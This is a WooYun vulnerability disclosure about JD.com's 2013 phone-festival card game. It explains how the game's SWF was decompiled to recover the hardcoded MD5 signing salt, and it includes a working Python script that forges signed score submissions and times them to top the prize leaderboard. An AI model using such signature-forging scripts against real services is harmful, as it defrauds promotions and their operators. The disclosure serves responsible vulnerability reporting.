当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044366

漏洞标题:京东手机节幸运大翻转刷分(flash逆向分析)

相关厂商:京东商城

漏洞作者: cnrstar

提交时间:2013-11-29 10:32

修复时间:2014-01-13 10:33

公开时间:2014-01-13 10:33

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-29: 细节已通知厂商并且等待厂商处理中
2013-12-02: 厂商已经确认,细节仅向厂商公开
2013-12-12: 细节向核心白帽子及相关领域专家公开
2013-12-22: 细节向普通白帽子公开
2014-01-01: 细节向实习白帽子公开
2014-01-13: 细节向公众公开

简要描述:

京东的手机节有个幸运大翻转,玩游戏排名,每天第一MX2,总分第一诺基亚1520,貌似还是很不错的,但是每次排名的那些人都是990,表示手累断了也拿不到990分。

详细说明:

活动地址:http://sale.jd.com/act/rSR4ExMjOnyGwWmf.html?erpad_source=erpad
游戏的flash地址:http://mday.jd.com/play/fanpai.swf
游戏点击开始的数据包:

1.jpg


游戏结束时的数据包“

2.jpg


结束时的数据包里有我们的得分,直接修改这个参数会被警告,提示非法。
猜测后面的sign是一个合法性验证参数,很明显是32位的MD5 hash
现在刷分的关键就在于如何让我们的这个sign合法,由于这个游戏是swf,而且是本地玩的,那就说明这个sign在swf里有设定,然后服务端去验证这个sign是否合法。
逆一下这个swf后得到源码,搜索到如下sign的定义:

3.jpg


同样的可以得到刚开始玩游戏的sign算法,至此,我们只需伪造分数,然后伪造这个sign,就可以完成刷分了。

漏洞证明:

Python代码:

#-------------------------------------------------------------------------------
# Name:
# Purpose:
#
# Author: Rstar
#
# Created: 26/11/2013
# Copyright: (c) Rstar 2013
# Licence: <your licence>
#-------------------------------------------------------------------------------
import urllib2,httplib,md5,time,re
cookie = 'xxx' # Your Cookie
user = 'ssss' # your username
def getmd5(string):
result = md5.new(string)
return result.hexdigest()
def gettimestamp():
return time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
def getkey1(timestamp):
cmd = "10004"
linkworld = (((((((("cmd" + cmd) + "timestamp") + timestamp) + "userId") + user) + "ver") + "1.0") + "b14bda484ea4583");
return getmd5(linkworld)
def getkey2(name,score,timestamp):
cmd = "10001"
sign = (((((((((((("cmd" + cmd) + "name") + name) + "score") + score) + "timestamp") + timestamp) + "userId") + user) + "ver") + "1.0") +"b14bda484ea4583");
return getmd5(sign)
def httpreq1(url):
req = urllib2.Request(url)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1685.0 Safari/537.36')
req.add_header('Referer','http://mday.jd.com/index.action')
req.add_header('Cookie',cookie)
#opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(ckjar) )
#f = opener.open(req)
f = urllib2.urlopen(req)
htm = f.read()
return htm
f.close()
def main():
score = "990"
timestamp = gettimestamp()
while True:
if timestamp == "20131127235824":
url1 = "http://mday.jd.com/gw/userService.action?timestamp="+timestamp+"&cmd=10004&ver=1.0&userId="+user+"&sign="+getkey1(timestamp)
print url1
html1 = httpreq1(url1)
print html1
re_name = re.compile("<name>(.+?)</name")
name = re_name.findall(html1)[0]
print "Got Name:"+name+"\tNow Sleep 90s"
url2 = "http://mday.jd.com/gw/userService.action?timestamp="+timestamp+"&cmd=10001&ver=1.0&sign="+getkey2(name,score,timestamp)+"&score="+score+"&userId="+user+"&name="+name
print url2
print httpreq1(url2)
else:
time.sleep(0.2)
timestamp = gettimestamp()
if __name__ == '__main__':
main()


上面是定点刷,算好秒后,保证在晚上24:00达到最高分,然后去领奖

修复方案:

你们懂的
不过你们发奖品是怎么发的?那么多人都在刷分,怎么排名的,为啥最高都是990,不能是其他的分?我弄了两次发现没我啥事,球解答。

版权声明:转载请注明来源 cnrstar@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-12-02 12:10

厂商回复:

感谢您对京东的关注!

最新状态:

暂无